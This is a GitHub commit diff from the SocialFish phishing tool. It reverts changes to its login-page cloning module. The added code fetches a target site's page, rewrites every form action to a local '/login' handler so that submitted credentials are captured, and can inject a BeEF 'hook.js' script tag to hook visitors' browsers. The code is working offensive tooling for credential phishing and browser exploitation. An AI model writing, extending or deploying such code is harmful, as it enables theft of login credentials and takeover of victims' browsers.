Skip to content

Commit 70ced84

Browse files
Revert "Fixing clone module"
This reverts commit 6523295.
1 parent b07c82b commit 70ced84

File tree

2 files changed

+19
-6
lines changed

2 files changed

+19
-6
lines changed

SocialFish.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -139,12 +139,12 @@ def getLogin():
139139
# caso esteja configurada para clonar, faz o download da pagina utilizando o user-agent do visitante
140140
if sta == 'clone':
141141
agent = request.headers.get('User-Agent').encode('ascii', 'ignore').decode('ascii')
142-
clone(url, agent)
142+
clone(url, agent, beef)
143143
o = url.replace('://', '-')
144144
cur = g.db
145145
cur.execute("UPDATE socialfish SET clicks = clicks + 1 where id = 1")
146146
g.db.commit()
147-
template_path = 'fake/{}/index.html'.format(o)
147+
template_path = 'fake/{}/{}/index.html'.format(agent, o)
148148
return render_template(template_path)
149149
# caso seja a url padrao
150150
elif url == 'https://github.com/UndeadSec/SocialFish':

core/clonesf.py

Lines changed: 17 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -3,13 +3,26 @@
33
import os
44

55
# CLONING FUNCTIONS --------------------------------------------------------------------------------------------
6-
def clone(url, user_agent):
6+
def clone(url, user_agent, beef):
77
try:
88
u = url.replace('://', '-')
9-
q = 'templates/fake/{}'.format(u)
9+
q = 'templates/fake/{}/{}'.format(user_agent, u)
1010
os.makedirs(q, exist_ok=True)
11-
#os.system('wget -H -N -k -p -l 2 -nd -P {} --no-check-certificate -U "{}" {}'.format(q, user_agent, url))
12-
os.system('wget --no-check-certificate -O {}/index.html -c -k -U "{}" {}'.format(q, user_agent, url))
11+
temp_ind_path = 'templates/fake/{}/{}/index.html'.format(user_agent, u)
12+
headers = {'User-Agent': user_agent}
13+
r = requests.get(url, headers=headers)
14+
html = r.text
15+
old_regular = re.findall(r'action="([^ >"]*)"',html)
16+
new_regular = '/login'
17+
for r in old_regular:
18+
print(r)
19+
html = html.replace(r, new_regular)
20+
if beef == 'yes':
21+
inject = '<script src=":3000/hook.js" type="text/javascript"></script></body>'
22+
html = html.replace("</body>", inject)
23+
new_html = open(temp_ind_path, 'w')
24+
new_html.write(html.encode('ascii', 'ignore').decode('ascii'))
25+
new_html.close()
1326
except:
1427
pass
1528
#--------------------------------------------------------------------------------------------------------------------

0 commit comments

Comments
 (0)